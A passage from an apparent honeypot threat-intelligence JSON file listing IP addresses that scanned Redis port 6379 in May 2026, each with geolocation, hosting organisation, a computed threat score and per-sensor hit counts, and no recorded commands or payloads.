        "Suricata": 1
      }
    },
    "111.113.89.200": {
      "attack_count": 9,
      "first_seen": "2026-05-22T00:36:07.000Z",
      "last_seen": "2026-05-22T00:37:49.000Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T18:03:37+00:00",
        "last_seen_30d": "2026-05-28T16:59:37.815000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "147.185.132.103": {
      "attack_count": 9,
      "first_seen": "2026-05-10T02:16:41.000Z",
      "last_seen": "2026-05-10T02:18:20.984Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 27,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T01:04:55.010000+00:00",
        "last_seen_30d": "2026-05-31T04:29:30.480000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 24,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "CitrixHoneypot": 1
      }
    },
    "175.41.159.224": {
      "attack_count": 9,
      "first_seen": "2026-05-24T15:16:32.000Z",
      "last_seen": "2026-05-24T15:17:36.091Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T20:34:41+00:00",
        "last_seen_30d": "2026-05-24T15:17:36.091000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "198.235.24.204": {
      "attack_count": 9,
      "first_seen": "2026-05-29T00:47:50.000Z",
      "last_seen": "2026-05-29T00:49:27.778Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T20:19:09+00:00",
        "last_seen_30d": "2026-05-31T07:08:15.611000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "198.235.24.239": {
      "attack_count": 9,
      "first_seen": "2026-05-04T21:58:35.000Z",
      "last_seen": "2026-05-04T22:00:08.437Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T18:31:12+00:00",
        "last_seen_30d": "2026-05-31T20:33:56.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 21,
        "Redishoneypot": 3,
        "Sentrypeer": 1
      }
    },
    "20.235.199.173": {
      "attack_count": 9,
      "first_seen": "2026-05-18T23:58:00.000Z",
      "last_seen": "2026-05-18T23:59:10.306Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:58:00+00:00",
        "last_seen_30d": "2026-05-18T23:59:10.306000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "52.185.212.58": {
      "attack_count": 9,
      "first_seen": "2026-05-08T20:11:34.000Z",
      "last_seen": "2026-05-08T20:12:34.638Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:11:34+00:00",
        "last_seen_30d": "2026-05-08T20:12:34.638000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "52.249.38.216": {
      "attack_count": 9,
      "first_seen": "2026-05-21T10:39:19.000Z",
      "last_seen": "2026-05-21T10:40:29.423Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:39:19+00:00",
        "last_seen_30d": "2026-05-21T10:40:29.423000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "100.51.6.16": {
      "attack_count": 8,
      "first_seen": "2026-05-10T17:59:22.000Z",
      "last_seen": "2026-05-13T13:30:25.580Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 89.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 30,
        "ports_targeted_30d": 93,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:40:36.572000+00:00",
        "last_seen_30d": "2026-05-31T19:03:55.863000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 234,
        "Honeytrap": 37,
        "ConPot": 7,
        "Dionaea": 1
      }
    },
    "172.105.177.106": {
      "attack_count": 8,
      "first_seen": "2026-05-07T01:19:39.000Z",
      "last_seen": "2026-05-07T01:20:42.061Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 2876,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-07T01:19:33+00:00",
        "last_seen_30d": "2026-05-07T01:30:14.281000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1522,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "51.254.34.140": {
      "attack_count": 7,
      "first_seen": "2026-05-30T10:53:29.000Z",
      "last_seen": "2026-05-30T10:54:30.289Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T10:53:29+00:00",
        "last_seen_30d": "2026-05-30T10:54:30.289000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 1,
        "Suricata": 1
      }
    },
    "101.35.251.162": {
      "attack_count": 6,
      "first_seen": "2026-05-27T20:27:18.000Z",
      "last_seen": "2026-05-27T20:28:24.077Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-27T20:28:24.077000+00:00",
        "last_seen_30d": "2026-05-27T20:28:24.077000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "105.27.255.190": {
      "attack_count": 6,
      "first_seen": "2026-05-13T01:37:01.000Z",
      "last_seen": "2026-05-13T01:38:07.817Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 37100,
      "as_org": "SEACOM-AS",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-13T01:38:07.817000+00:00",
        "last_seen_30d": "2026-05-13T01:38:07.817000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "113.249.112.198": {
      "attack_count": 6,
      "first_seen": "2026-05-11T12:07:58.000Z",
      "last_seen": "2026-05-11T12:09:00.832Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-11T12:09:00.832000+00:00",
        "last_seen_30d": "2026-05-11T12:09:00.832000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "134.122.20.236": {
      "attack_count": 6,
      "first_seen": "2026-05-31T01:47:58.000Z",
      "last_seen": "2026-05-31T01:49:31.615Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 3,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-29T22:09:23.403000+00:00",
        "last_seen_30d": "2026-05-31T02:17:19.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "143.42.1.191": {
      "attack_count": 6,
      "first_seen": "2026-05-19T12:52:48.000Z",
      "last_seen": "2026-05-19T12:53:50.564Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 30,
        "ports_targeted_30d": 180,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T09:48:12.712000+00:00",
        "last_seen_30d": "2026-05-31T21:10:33.132000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195
      }
    },
    "36.104.150.178": {
      "attack_count": 6,
      "first_seen": "2026-05-25T13:19:33.000Z",
      "last_seen": "2026-05-25T13:20:39.159Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-25T13:20:39.159000+00:00",
        "last_seen_30d": "2026-05-25T13:20:39.159000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "101.200.243.197": {
      "attack_count": 5,
      "first_seen": "2026-05-12T14:07:37.000Z",
      "last_seen": "2026-05-12T14:08:45.154Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 4.8,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T14:08:45.154000+00:00",
        "last_seen_30d": "2026-05-26T01:13:34.493000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "104.168.34.73": {
      "attack_count": 5,
      "first_seen": "2026-05-14T09:26:41.000Z",
      "last_seen": "2026-05-14T09:28:19.243Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-14T09:28:19.243000+00:00",
        "last_seen_30d": "2026-05-14T09:28:19.243000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "117.72.13.101": {
      "attack_count": 5,
      "first_seen": "2026-05-20T12:08:01.000Z",
      "last_seen": "2026-05-20T12:09:34.335Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-20T12:09:34.335000+00:00",
        "last_seen_30d": "2026-05-20T12:09:34.335000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "120.46.67.123": {
      "attack_count": 5,
      "first_seen": "2026-05-07T06:46:53.000Z",
      "last_seen": "2026-05-07T06:47:59.572Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T06:47:59.572000+00:00",
        "last_seen_30d": "2026-05-07T06:47:59.572000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "144.123.76.224": {
      "attack_count": 5,
      "first_seen": "2026-05-13T05:04:48.000Z",
      "last_seen": "2026-05-13T05:05:55.951Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:36:34+00:00",
        "last_seen_30d": "2026-05-13T05:05:55.951000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "173.255.242.196": {
      "attack_count": 5,
      "first_seen": "2026-05-22T12:47:39.000Z",
      "last_seen": "2026-05-22T12:48:44.880Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 30,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:01:11.645000+00:00",
        "last_seen_30d": "2026-05-31T20:01:15.627000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173
      }
    },
    "183.56.183.136": {
      "attack_count": 5,
      "first_seen": "2026-05-10T12:15:40.000Z",
      "last_seen": "2026-05-10T12:16:43.510Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T12:16:43.510000+00:00",
        "last_seen_30d": "2026-05-10T12:16:43.510000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "184.105.139.108": {
      "attack_count": 5,
      "first_seen": "2026-05-12T19:43:35.000Z",
      "last_seen": "2026-05-12T19:44:37.030Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 17.5,
        "diversity": 14,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 21,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:38:00.495000+00:00",
        "last_seen_30d": "2026-05-22T15:14:50.577000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Honeytrap": 1
      }
    },
    "193.163.125.177": {
      "attack_count": 5,
      "first_seen": "2026-05-22T04:56:29.000Z",
      "last_seen": "2026-05-22T04:57:35.090Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 21,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T13:45:42.827000+00:00",
        "last_seen_30d": "2026-05-22T07:26:12.126000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10
      }
    },
    "34.230.221.101": {
      "attack_count": 5,
      "first_seen": "2026-05-16T18:31:14.000Z",
      "last_seen": "2026-05-16T18:32:16.947Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 28,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T03:29:44.964000+00:00",
        "last_seen_30d": "2026-05-31T18:49:58.844000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 235,
        "Honeytrap": 30,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "43.139.215.177": {
      "attack_count": 5,
      "first_seen": "2026-05-28T17:32:33.000Z",
      "last_seen": "2026-05-28T17:33:37.218Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-28T17:33:37.218000+00:00",
        "last_seen_30d": "2026-05-28T17:33:37.218000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "47.103.107.67": {
      "attack_count": 5,
      "first_seen": "2026-05-20T18:24:56.000Z",
      "last_seen": "2026-05-20T18:25:58.717Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-20T18:25:58.717000+00:00",
        "last_seen_30d": "2026-05-20T18:25:58.717000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "60.25.68.173": {
      "attack_count": 5,
      "first_seen": "2026-05-23T11:56:06.000Z",
      "last_seen": "2026-05-23T11:57:15.551Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Tianjin",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-23T11:57:15.551000+00:00",
        "last_seen_30d": "2026-05-23T11:57:15.551000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.186.245": {
      "attack_count": 5,
      "first_seen": "2026-05-25T06:22:15.000Z",
      "last_seen": "2026-05-25T06:23:25.278Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:02:32.200000+00:00",
        "last_seen_30d": "2026-05-31T09:58:57.318000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "ConPot": 1
      }
    },
    "66.132.195.158": {
